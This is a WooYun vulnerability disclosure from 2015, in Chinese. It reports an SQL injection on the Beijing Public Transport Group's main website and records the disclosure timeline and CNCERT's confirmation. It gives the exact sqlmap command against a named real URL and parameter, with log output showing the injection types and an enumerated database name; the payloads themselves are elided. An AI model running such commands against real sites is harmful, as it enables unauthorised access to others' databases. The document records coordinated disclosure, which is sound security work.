当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091598

漏洞标题:北京公共交通集团主站存在SQL注入漏洞

相关厂商:北京公共交通集团

漏洞作者: jeary

提交时间:2015-01-13 12:57

修复时间:2015-02-27 12:58

公开时间:2015-02-27 12:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-13: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-02-27: 细节向公众公开

简要描述:

..

详细说明:

01.jpg


sqlmap -u "http://www.bjbus.com/home/fun_news_detail.php?uNewsCode=00002555&uNewsType=1&uSec=00000177&uSub=00000178" --dbs

漏洞证明:

sqlmap.py -u "http://www.bjbus.com/home/fun_news_detail.
hp?uNewsCode=00002555&uNewsType=1&uSec=00000177&uSub=00000178" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 12:46:20
[12:46:20] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the outpu
directory
[12:46:20] [INFO] resuming back-end DBMS 'mysql'
[12:46:20] [INFO] testing connection to the target URL
[12:46:21] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: uNewsCode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ..
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ..
---
[12:46:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.5
back-end DBMS: MySQL 5.0.11
[12:46:21] [INFO] fetching database names
[12:46:21] [INFO] fetching number of databases
[12:46:21] [WARNING] running in a single-thread mode. Please consider usage of
ption '--threads' for faster data retrieval
[12:46:21] [INFO] retrieved:
[12:46:21] [INFO] heuristics detected web page charset 'ascii'
[12:46:21] [WARNING] time-based comparison requires larger statistical model, p
ease wait...........................
[12:46:29] [WARNING] it is very important not to stress the network adapter dur
ng usage of time-based payloads to prevent potential errors
[12:46:29] [WARNING] in case of continuous data retrieval problems you are advi
ed to try a switch '--no-cast' or switch '--hex'
[12:46:29] [ERROR] unable to retrieve the number of databases
[12:46:29] [INFO] falling back to current database
[12:46:29] [INFO] fetching current database
[12:46:29] [INFO] resumed: db_gj_new
available databases [1]:
[*] db_gj_new

修复方案:

..

版权声明:转载请注明来源 jeary@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-16 16:50

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向经信委通报。

最新状态:

暂无